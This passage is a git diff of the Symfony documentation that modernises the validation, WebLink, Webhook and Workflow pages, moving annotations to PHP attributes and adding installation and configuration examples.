Assert\Type(['type' => 'string']) + new Assert\Type(['type' => 'string']), ], 'label' => [ new Assert\NotBlank(), @@ -105,3 +102,10 @@ The ``validate()`` method returns a :class:`Symfony\\Component\\Validator\\Const object, which acts like an array of errors. Each error in the collection is a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object, which holds the error message on its ``getMessage()`` method. + +.. note:: + + When using groups with the + :doc:`Collection </reference/constraints/Collection>` constraint, be sure to + use the ``Optional`` constraint when appropriate as explained in its + reference documentation. diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst index 503c50f67e5..c316a85d249 100644 --- a/validation/sequence_provider.rst +++ b/validation/sequence_provider.rst @@ -1,7 +1,3 @@ -.. index:: - single: Validation; Group Sequences - single: Validation; Group Sequence Providers - How to Sequentially Apply Validation Groups =========================================== @@ -15,7 +11,7 @@ username and the password are different only if all other validation passes .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -23,25 +19,20 @@ username and the password are different only if all other validation passes use Symfony\Component\Security\Core\User\UserInterface; use Symfony\Component\Validator\Constraints as Assert; - /** - * @Assert\GroupSequence({"User", "Strict"}) - */ + #[Assert\GroupSequence(['User', 'Strict'])] class User implements UserInterface { - /** - * @Assert\NotBlank - */ - private $username; - - /** - * @Assert\NotBlank - */ - private $password; - - /** - * @Assert\IsTrue(message="The password cannot match your username", groups={"Strict"}) - */ - public function isPasswordSafe() + #[Assert\NotBlank] + private string $username; + + #[Assert\NotBlank] + private string $password; + + #[Assert\IsTrue( + message: 'The password cannot match your username', + groups: ['Strict'], + )] + public function isPasswordSafe(): bool { return ($this->username !== $this->password); } @@ -108,15 +99,15 @@ username and the password are different only if all other validation passes class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('username', new Assert\NotBlank()); $metadata->addPropertyConstraint('password', new Assert\NotBlank()); - $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([ - 'message' => 'The password cannot match your first name', - 'groups' => ['Strict'], - ])); + $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue( + message: 'The password cannot match your first name', + groups: ['Strict'], + )); $metadata->setGroupSequence(['User', 'Strict']); } @@ -126,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User`` (which is the same as the ``Default`` group). Only if all constraints in that group are valid, the second group, ``Strict``, will be validated. -.. caution:: +.. warning:: As you have already seen in :doc:`/validation/groups`, the ``Default`` group and the group containing the class name (e.g. ``User``) were identical. @@ -140,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated. sequence, which will contain the ``Default`` group which references the same group sequence, ...). -.. caution:: +.. warning:: Calling ``validate()`` with a group in the sequence (``Strict`` in previous example) will cause a validation **only** with that group and not with all @@ -151,7 +142,7 @@ You can also define a group sequence in the ``validation_groups`` form option:: // src/Form/MyType.php namespace App\Form; - + use Symfony\Component\Form\AbstractType; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\GroupSequence; @@ -160,7 +151,7 @@ You can also define a group sequence in the ``validation_groups`` form option:: class MyType extends AbstractType { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'validation_groups' => new GroupSequence(['First', 'Second']), @@ -179,7 +170,7 @@ entity and a new constraint group called ``Premium``: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -188,18 +179,14 @@ entity and a new constraint group called ``Premium``: class User { - /** - * @Assert\NotBlank - */ - private $name; - - /** - * @Assert\CardScheme( - * schemes={"VISA"}, - * groups={"Premium"}, - * ) - */ - private $creditCard; + #[Assert\NotBlank] + private string $name; + + #[Assert\CardScheme( + schemes: [Assert\CardScheme::VISA], + groups: ['Premium'], + )] + private string $creditCard; // ... } @@ -254,18 +241,18 @@ entity and a new constraint group called ``Premium``: class User { - private $name; - private $creditCard; + private string $name; + private string $creditCard; // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('name', new Assert\NotBlank()); - $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([ - 'schemes' => ['VISA'], - 'groups' => ['Premium'], - ])); + $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme( + schemes: [Assert\CardScheme::VISA], + groups: ['Premium'], + )); } } @@ -285,10 +272,10 @@ method, which should return an array of groups to use:: { // ... - public function getGroupSequence() + public function getGroupSequence(): array|GroupSequence { // when returning a simple array, if there's a violation in any group - // the rest of groups are not validated. E.g. if 'User' fails, + // the rest of the groups are not validated. E.g. if 'User' fails, // 'Premium' and 'Api' are not validated: return ['User', 'Premium', 'Api']; @@ -304,16 +291,14 @@ provides a sequence of groups to be validated: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; // ... - /** - * @Assert\GroupSequenceProvider - */ + #[Assert\GroupSequenceProvider] class User implements GroupSequenceProviderInterface { // ... @@ -352,20 +337,105 @@ provides a sequence of groups to be validated: { // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->setGroupSequenceProvider(true); // ... } } +Advanced Validation Group Provider +---------------------------------- + +In the previous section, you learned how to change the sequence of groups +dynamically based on the state of your entity. However, in more advanced cases +you might need to use some external configuration or service to define that +sequence of groups. + +Managing the entity initialization and manually setting its dependencies can +be cumbersome, and the implementation might not align with the entity +responsibilities. To solve this, you can configure the implementation of the +:class:`Symfony\\Component\\Validator\\GroupProviderInterface` outside of the +entity, and even register the group provider as a service. + +Here's how you can achieve this: + +#. **Define a Separate Group Provider Class:** create a class that implements + the :class:`Symfony\\Component\\Validator\\GroupProviderInterface` + and handles the dynamic group sequence logic; +#. **Configure the User with the Provider:** use the ``provider`` option within + the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider` + attribute to link the entity with the provider class; +#. **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>` + is enabled, your custom provider will be automatically linked. Otherwise, you must + :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag. + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity; + + // ... + use App\Validator\UserGroupProvider; + + #[Assert\GroupSequenceProvider(provider: UserGroupProvider::class)] + class User + { + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\User: + group_sequence_provider: App\Validator\UserGroupProvider + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping + https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\User"> + <group-sequence-provider> + <value>App\Validator\UserGroupProvider</value> + </group-sequence-provider> + <!-- ... --> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/User.php + namespace App\Entity; + + // ... + use App\Validator\UserGroupProvider; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class User + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->setGroupProvider(UserGroupProvider::class); + $metadata->setGroupSequenceProvider(true); + // ... + } + } + +With this approach, you can maintain a clean separation between the entity +structure and the group sequence logic, allowing for more advanced use cases. + How to Sequentially Apply Constraints on a Single Property ---------------------------------------------------------- Sometimes, you may want to apply constraints sequentially on a single property. The :doc:`Sequentially constraint </reference/constraints/Sequentially>` can solve this for you in a more straightforward way than using a ``GroupSequence``. - -.. versionadded:: 5.1 - - The ``Sequentially`` constraint was introduced in Symfony 5.1. diff --git a/validation/severity.rst b/validation/severity.rst index 23b81145ee9..154c13d5e3e 100644 --- a/validation/severity.rst +++ b/validation/severity.rst @@ -1,7 +1,3 @@ -.. index:: - single: Validation; Error Levels - single: Validation; Payload - How to Handle Different Error Levels ==================================== @@ -25,7 +21,7 @@ Use the ``payload`` option to configure the error level for each constraint: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -34,20 +30,14 @@ Use the ``payload`` option to configure the error level for each constraint: class User { - /** - * @Assert\NotBlank(payload={"severity"="error"}) - */ - protected $username; - - /** - * @Assert\NotBlank(payload={"severity"="error"}) - */ - protected $password; - - /** - * @Assert\Iban(payload={"severity"="warning"}) - */ - protected $bankAccountNumber; + #[Assert\NotBlank(payload: ['severity' => 'error'])] + protected string $username; + + #[Assert\NotBlank(payload: ['severity' => 'error'])] + protected string $password; + + #[Assert\Iban(payload: ['severity' => 'warning'])] + protected string $bankAccountNumber; } .. code-block:: yaml @@ -111,17 +101,19 @@ Use the ``payload`` option to configure the error level for each constraint: class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('username', new Assert\NotBlank([ - 'payload' => ['severity' => 'error'], - ])); - $metadata->addPropertyConstraint('password', new Assert\NotBlank([ - 'payload' => ['severity' => 'error'], - ])); - $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([ - 'payload' => ['severity' => 'warning'], - ])); + $metadata->addPropertyConstraint('username', new Assert\NotBlank( + payload: ['severity' => 'error'], + )); + $metadata->addPropertyConstraint('password', new Assert\NotBlank( + payload: ['severity' => 'error'], + )); + $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban( + payload: ['severity' => 'warning'], + )); } } @@ -137,7 +129,7 @@ method. Each constraint exposes the attached payload as a public property:: // Symfony\Component\Validator\ConstraintViolation $constraintViolation = ...; $constraint = $constraintViolation->getConstraint(); - $severity = isset($constraint->payload['severity']) ? $constraint->payload['severity'] : null; + $severity = $constraint->payload['severity'] ?? null; For example, you can leverage this to customize the ``form_errors`` block so that the severity is added as an additional HTML class: diff --git a/validation/translations.rst b/validation/translations.rst index 5c22f9362c3..db2cd518eb7 100644 --- a/validation/translations.rst +++ b/validation/translations.rst @@ -1,22 +1,26 @@ -.. index:: - single: Validation; Translation - How to Translate Validation Constraint Messages =============================================== -If you're using validation constraints with the Form component, you can translate -the error messages by creating a translation resource for the -``validators`` :ref:`domain <translation-resource-locations>`. +The validation constraints used in forms can translate their error messages by +creating a translation resource for the ``validators`` +:ref:`translation domain <translation-resource-locations>`. + +First of all, install the Symfony translation component (if it's not already +installed in your application) running the following command: + +.. code-block:: terminal -To start, suppose you've created a plain-old-PHP object that you need to -use somewhere in your application:: + $ composer require symfony/translation + +Suppose you've created a plain-old-PHP object that you need to use somewhere in +your application:: // src/Entity/Author.php namespace App\Entity; class Author { - public $name; + public string $name; } Add constraints through any of the supported methods. Set the message option @@ -25,7 +29,7 @@ property is not empty, add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -34,10 +38,8 @@ property is not empty, add the following: class Author { - /** - * @Assert\NotBlank(message="author.name.not_blank") - */ - public $name; + #[Assert\NotBlank(message: 'author.name.not_blank')] + public string $name; } .. code-block:: yaml @@ -77,13 +79,13 @@ property is not empty, add the following: class Author { - public $name; + public string $name; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('name', new NotBlank([ - 'message' => 'author.name.not_blank', - ])); + $metadata->addPropertyConstraint('name', new NotBlank( + message: 'author.name.not_blank', + )); } } @@ -93,8 +95,8 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory: .. code-block:: xml - <!-- translations/validators.en.xlf --> - <?xml version="1.0"?> + <!-- translations/validators/validators.en.xlf --> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> @@ -108,15 +110,105 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory: .. code-block:: yaml - # translations/validators.en.yaml + # translations/validators/validators.en.yaml author.name.not_blank: Please enter an author name. .. code-block:: php - // translations/validators.en.php + // translations/validators/validators.en.php return [ 'author.name.not_blank' => 'Please enter an author name.', ]; -You may need to clear your cache (even in the dev environment) after creating this -file for the first time. +You may need to clear your cache (even in the dev environment) after creating +this file for the first time. + +.. tip:: + + Symfony will also create translation files for the built-in validation messages. + You can optionally set the :ref:`enabled_locales <reference-translator-enabled-locales>` + option to restrict the available locales in your application. This will improve + performance a bit because Symfony will only generate the translation files + for those locales instead of all of them. + +You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message:: + + use Symfony\Component\Translation\TranslatableMessage; + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Context\ExecutionContextInterface; + + #[Assert\Callback] + public function validate(ExecutionContextInterface $context, mixed $payload): void + { + // somehow you have an array of "fake names" + $fakeNames = [/* ... */]; + + // check if the name is actually a fake name + if (in_array($this->getFirstName(), $fakeNames, true)) { + $context->buildViolation(new TranslatableMessage('author.name.fake', [], 'validators')) + ->atPath('firstName') + ->addViolation() + ; + } + } + +You can learn more about translatable messages in :ref:`the dedicated section <translatable-objects>`. + +Custom Translation Domain +------------------------- + +The default translation domain can be changed globally using the +``FrameworkBundle`` configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/validator.yaml + framework: + validation: + translation_domain: validation_errors + + .. code-block:: xml + + <!-- config/packages/validator.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:validation + translation-domain="validation_errors" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/validator.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + // ... + $framework + ->validation() + ->translationDomain('validation_errors') + ; + }; + +Or it can be customized for a specific violation from a constraint validator:: + + public function validate($value, Constraint $constraint): void + { + // validation logic + + $this->context->buildViolation($constraint->message) + ->setParameter('{{ string }}', $value) + ->setTranslationDomain('validation_errors') + ->addViolation(); + } diff --git a/web_link.rst b/web_link.rst index 1c802a518da..2f2f96d106b 100644 --- a/web_link.rst +++ b/web_link.rst @@ -1,6 +1,3 @@ -.. index:: - single: Web Link - Asset Preloading and Resource Hints with HTTP/2 and WebLink =========================================================== @@ -22,6 +19,16 @@ servers (Apache, nginx, Caddy, etc.) support this, but you can also use the `Docker installer and runtime for Symfony`_ created by Kévin Dunglas, from the Symfony community. +Installation +------------ + +In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command +to install the WebLink feature before using it: + +.. code-block:: terminal + + $ composer require symfony/web-link + Preloading Assets ----------------- @@ -43,32 +50,36 @@ Imagine that your application includes a web page like this: </body> </html> -Following the traditional HTTP workflow, when this page is served browsers will -make one request for the HTML page and another request for the linked CSS file. -However, thanks to HTTP/2 your application can start sending the CSS file -contents even before browsers request them. - -To do that, first install the WebLink component: +In a traditional HTTP workflow, when this page is loaded, browsers make one +request for the HTML document and another for the linked CSS file. However, +with HTTP/2, your application can send the CSS file's contents to the browser +before it requests them. -.. code-block:: terminal - - $ composer require symfony/web-link - -Now, update the template to use the ``preload()`` Twig function provided by -WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply -correct prioritization and the content security policy: +To achieve this, update your template to use the ``preload()`` Twig function +provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use +it to prioritize resources correctly and comply with the content security policy: .. code-block:: html+twig <head> <!-- ... --> - <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style' }) }}"> + {# note that you must add two <link> tags per asset: + one to link to it and the other one to tell the browser to preload it #} + <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style"> + <link rel="stylesheet" href="/app.css"> </head> If you reload the page, the perceived performance will improve because the server responded with both the HTML page and the CSS file when the browser only requested the HTML page. +.. tip:: + + When using the :doc:`AssetMapper component </frontend/asset_mapper>` to link + to assets (e.g. ``importmap('app')``), there's no need to add the ``<link rel="preload">`` + tag. The ``importmap()`` Twig function automatically adds the ``Link`` HTTP + header for you when the WebLink component is available. + .. note:: You can preload an asset by wrapping it with the ``preload()`` function: @@ -77,7 +88,8 @@ requested the HTML page. <head> <!-- ... --> - <link rel="stylesheet" href="{{ preload(asset('build/app.css')) }}"> + <link rel="preload" href="{{ preload(asset('build/app.css')) }}" as="style"> + <!-- ... --> </head> Additionally, according to `the Priority Hints specification`_, you can signal @@ -87,7 +99,8 @@ the priority of the resource to download using the ``importance`` attribute: <head> <!-- ... --> - <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style', importance: 'low'}) }}" as="style"> + <!-- ... --> </head> How does it work? @@ -111,7 +124,8 @@ issuing an early separate HTTP request, use the ``nopush`` option: <head> <!-- ... --> - <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style"> + <!-- ... --> </head> Resource Hints @@ -132,7 +146,8 @@ The WebLink component provides the following Twig functions to send those hints: * ``prefetch()``: "identifies a resource that might be required by the next navigation, and that the user agent *should* fetch, such that the user agent can deliver a faster response once the resource is requested in the future". -* ``prerender()``: "identifies a resource that might be required by the next +* ``prerender()``: " **deprecated** and superseded by the `Speculation Rules API`_, + identifies a resource that might be required by the next navigation, and that the user agent *should* fetch and execute, such that the user agent can deliver a faster response once the resource is requested later". @@ -145,7 +160,8 @@ any link implementing the `PSR-13`_ standard. For instance, any <head> <!-- ... --> <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}"> - <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style"> + <!-- ... --> </head> The previous snippet will result in this HTTP header being sent to the client: @@ -158,15 +174,16 @@ You can also add links to the HTTP response directly from controllers and servic use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\WebLink\GenericLinkProvider; use Symfony\Component\WebLink\Link; class BlogController extends AbstractController { - public function index(Request $request) + public function index(Request $request): Response { // using the addLink() shortcut provided by AbstractController - $this->addLink($request, new Link('preload', '/app.css')); + $this->addLink($request, (new Link('preload', '/app.css'))->withAttribute('as', 'style')); // alternative if you don't want to use the addLink() shortcut $linkProvider = $request->attributes->get('_links', new GenericLinkProvider()); @@ -178,6 +195,12 @@ You can also add links to the HTTP response directly from controllers and servic } } +.. tip:: + + The possible values of link relations (``'preload'``, ``'preconnect'``, etc.) + are also defined as constants in the :class:`Symfony\\Component\\WebLink\\Link` + class (e.g. ``Link::REL_PRELOAD``, ``Link::REL_PRECONNECT``, etc.). + .. _`WebLink`: https://github.com/symfony/web-link .. _`HTTP/2 Server Push`: https://tools.ietf.org/html/rfc7540#section-8.2 .. _`Resource Hints`: https://www.w3.org/TR/resource-hints/ @@ -187,6 +210,7 @@ You can also add links to the HTTP response directly from controllers and servic .. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-http-2 .. _`Cloudflare`: https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/ .. _`Fastly`: https://docs.fastly.com/en/guides/http2-server-push -.. _`Akamai`: https://blogs.akamai.com/2017/03/http2-server-push-the-what-how-and-why.html +.. _`Akamai`: https://http2.akamai.com/ .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/ +.. _`Speculation Rules API`: https://developer.mozilla.org/docs/Web/API/Speculation_Rules_API diff --git a/webhook.rst b/webhook.rst new file mode 100644 index 00000000000..d27a6e6d906 --- /dev/null +++ b/webhook.rst @@ -0,0 +1,221 @@ +Webhook +======= + +The Webhook component is used to respond to remote webhooks to trigger actions +in your application. This document focuses on using webhooks to listen to remote +events in other Symfony components. + +Installation +------------ + +.. code-block:: terminal + + $ composer require symfony/webhook + +Usage in Combination with the Mailer Component +---------------------------------------------- + +.. admonition:: Screencast + :class: screencast + + Like video tutorials? Check out the `Webhook Component for Email Events screencast`_. + +When using a third-party mailer provider, you can use the Webhook component to +receive webhook calls from this provider. + +Currently, the following third-party mailer providers support webhooks: + +============== ============================================ +Mailer Service Parser service name +============== ============================================ +AhaSend ``mailer.webhook.request_parser.ahasend`` +Brevo ``mailer.webhook.request_parser.brevo`` +Mandrill ``mailer.webhook.request_parser.mailchimp`` +MailerSend ``mailer.webhook.request_parser.mailersend`` +Mailgun ``mailer.webhook.request_parser.mailgun`` +Mailjet ``mailer.webhook.request_parser.mailjet`` +Mailomat ``mailer.webhook.request_parser.mailomat`` +Mailtrap ``mailer.webhook.request_parser.mailtrap`` +Postmark ``mailer.webhook.request_parser.postmark`` +Resend ``mailer.webhook.request_parser.resend`` +Sendgrid ``mailer.webhook.request_parser.sendgrid`` +Sweego ``mailer.webhook.request_parser.sweego`` +============== ============================================ + +.. versionadded:: 7.1 + + The support for ``Resend`` and ``MailerSend`` were introduced in Symfony 7.1. + +.. versionadded:: 7.2 + + The ``Mandrill``, ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in + Symfony 7.2. + +.. versionadded:: 7.3 + + The ``AhaSend`` integration was introduced in Symfony 7.3. + +.. note:: + + Install the third-party mailer provider you want to use as described in the + documentation of the :ref:`Mailer component <mailer_3rd_party_transport>`. + Mailgun is used as the provider in this document as an example. + +To connect the provider to your application, you need to configure the Webhook +component routing: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + webhook: + routing: + mailer_mailgun: + service: 'mailer.webhook.request_parser.mailgun' + secret: '%env(MAILER_MAILGUN_SECRET)%' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + <framework:config> + <framework:webhook enabled="true"> + <framework:routing type="mailer_mailgun"> + <framework:service>mailer.webhook.request_parser.mailgun</framework:service> + <framework:secret>%env(MAILER_MAILGUN_SECRET)%</framework:secret> + </framework:routing> + </framework:webhook> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use App\Webhook\MailerWebhookParser; + use Symfony\Config\FrameworkConfig; + return static function (FrameworkConfig $frameworkConfig): void { + $webhookConfig = $frameworkConfig->webhook(); + $webhookConfig + ->routing('mailer_mailgun') + ->service('mailer.webhook.request_parser.mailgun') + ->secret('%env(MAILER_MAILGUN_SECRET)%') + ; + }; + +In this example, we are using ``mailer_mailgun`` as the webhook routing name. +The routing name must be unique as this is what connects the provider with your +webhook consumer code. + +The webhook routing name is part of the URL you need to configure at the +third-party mailer provider. The URL is the concatenation of your domain name +and the routing name you chose in the configuration (like +``https://example.com/webhook/mailer_mailgun``). + +For Mailgun, you will get a secret for the webhook. Store this secret as +MAILER_MAILGUN_SECRET (in the :doc:`secrets management system +</configuration/secrets>` or in a ``.env`` file). + +When done, add a :class:`Symfony\\Component\\RemoteEvent\\RemoteEvent` consumer +to react to incoming webhooks (the webhook routing name is what connects your +class to the provider). + +For mailer webhooks, react to the +:class:`Symfony\\Component\\RemoteEvent\\Event\\Mailer\\MailerDeliveryEvent` or +:class:`Symfony\\Component\\RemoteEvent\\Event\\Mailer\\MailerEngagementEvent` +events:: + + use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer; + use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface; + use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent; + use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent; + use Symfony\Component\RemoteEvent\RemoteEvent; + + #[AsRemoteEventConsumer('mailer_mailgun')] + class WebhookListener implements ConsumerInterface + { + public function consume(RemoteEvent $event): void + { + if ($event instanceof MailerDeliveryEvent) { + $this->handleMailDelivery($event); + } elseif ($event instanceof MailerEngagementEvent) { + $this->handleMailEngagement($event); + } else { + // This is not an email event + return; + } + } + + private function handleMailDelivery(MailerDeliveryEvent $event): void + { + // Handle the mail delivery event + } + + private function handleMailEngagement(MailerEngagementEvent $event): void + { + // Handle the mail engagement event + } + } + +Usage in Combination with the Notifier Component +------------------------------------------------ + +The usage of the Webhook component when using a third-party transport in +the Notifier is very similar to the usage with the Mailer. + +Currently, the following third-party SMS transports support webhooks: + +============ ========================================== +SMS service Parser service name +============ ========================================== +Twilio ``notifier.webhook.request_parser.twilio`` +Smsbox ``notifier.webhook.request_parser.smsbox`` +Sweego ``notifier.webhook.request_parser.sweego`` +Vonage ``notifier.webhook.request_parser.vonage`` +============ ========================================== + +For SMS webhooks, react to the +:class:`Symfony\\Component\\RemoteEvent\\Event\\Sms\\SmsEvent` event:: + + use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer; + use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface; + use Symfony\Component\RemoteEvent\Event\Sms\SmsEvent; + use Symfony\Component\RemoteEvent\RemoteEvent; + + #[AsRemoteEventConsumer('notifier_twilio')] + class WebhookListener implements ConsumerInterface + { + public function consume(RemoteEvent $event): void + { + if ($event instanceof SmsEvent) { + $this->handleSmsEvent($event); + } else { + // This is not an SMS event + return; + } + } + + private function handleSmsEvent(SmsEvent $event): void + { + // Handle the SMS event + } + } + +Creating a Custom Webhook +------------------------- + +.. tip:: + + Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:webhook`` + to generate the request parser and consumer files needed to create your own + Webhook. + +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`Webhook Component for Email Events screencast`: https://symfonycasts.com/screencast/mailtrap/email-event-webhook diff --git a/workflow.rst b/workflow.rst index 0eee96f8a66..54a1b06313e 100644 --- a/workflow.rst +++ b/workflow.rst @@ -1,7 +1,7 @@ Workflow ======== -Using the Workflow component inside a Symfony application requires to know first +Using the Workflow component inside a Symfony application requires first knowing some basic theory and concepts about workflows and state machines. :doc:`Read this article </workflow/workflow-and-state-machine>` for a quick overview. @@ -29,18 +29,19 @@ Creating a Workflow ------------------- A workflow is a process or a lifecycle that your objects go through. Each -step or stage in the process is called a *place*. You do also define *transitions* -to that describes the action to get from one place to another. +step or stage in the process is called a *place*. You also define *transitions*, +which describe the action needed to get from one place to another. .. image:: /_images/components/workflow/states_transitions.png + :alt: An example state diagram for a workflow, showing transitions and places. A set of places and transitions creates a **definition**. A workflow needs a ``Definition`` and a way to write the states to the objects (i.e. an instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.) Consider the following example for a blog post. A post can have these places: -``draft``, ``reviewed``, ``rejected``, ``published``. You can define the workflow -like this: +``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as +follows: .. configuration-block:: @@ -59,7 +60,7 @@ like this: supports: - App\Entity\BlogPost initial_marking: draft - places: + places: # defining places manually is optional - draft - reviewed - rejected @@ -96,10 +97,13 @@ like this: </framework:marking-store> <framework:support>App\Entity\BlogPost</framework:support> <framework:initial-marking>draft</framework:initial-marking> + + <!-- defining places manually is optional --> <framework:place>draft</framework:place> <framework:place>reviewed</framework:place> <framework:place>rejected</framework:place> <framework:place>published</framework:place> + <framework:transition name="to_review"> <framework:from>draft</framework:from> <framework:to>reviewed</framework:to> @@ -120,50 +124,66 @@ like this: // config/packages/workflow.php use App\Entity\BlogPost; - - $container->loadFromExtension('framework', [ - 'workflows' => [ - 'blog_publishing' => [ - 'type' => 'workflow', // or 'state_machine' - 'audit_trail' => [ - 'enabled' => true - ], - 'marking_store' => [ - 'type' => 'method', - 'property' => 'currentPlace', - ], - 'supports' => [BlogPost::class], - 'initial_marking' => 'draft', - 'places' => [ - 'draft', - 'reviewed', - 'rejected', - 'published', - ], - 'transitions' => [ - 'to_review' => [ - 'from' => 'draft', - 'to' => 'reviewed', - ], - 'publish' => [ - 'from' => 'reviewed', - 'to' => 'published', - ], - 'reject' => [ - 'from' => 'reviewed', - 'to' => 'rejected', - ], - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $blogPublishing = $framework->workflows()->workflows('blog_publishing'); + $blogPublishing + ->type('workflow') // or 'state_machine' + ->supports([BlogPost::class]) + ->initialMarking(['draft']); + + $blogPublishing->auditTrail()->enabled(true); + $blogPublishing->markingStore() + ->type('method') + ->property('currentPlace'); + + // defining places manually is optional + $blogPublishing->place()->name('draft'); + $blogPublishing->place()->name('reviewed'); + $blogPublishing->place()->name('rejected'); + $blogPublishing->place()->name('published'); + + $blogPublishing->transition() + ->name('to_review') + ->from(['draft']) + ->to(['reviewed']); + + $blogPublishing->transition() + ->name('publish') + ->from(['reviewed']) + ->to(['published']); + + $blogPublishing->transition() + ->name('reject') + ->from(['reviewed']) + ->to(['rejected']); + }; .. tip:: If you are creating your first workflows, consider using the ``workflow:dump`` command to :doc:`debug the workflow contents 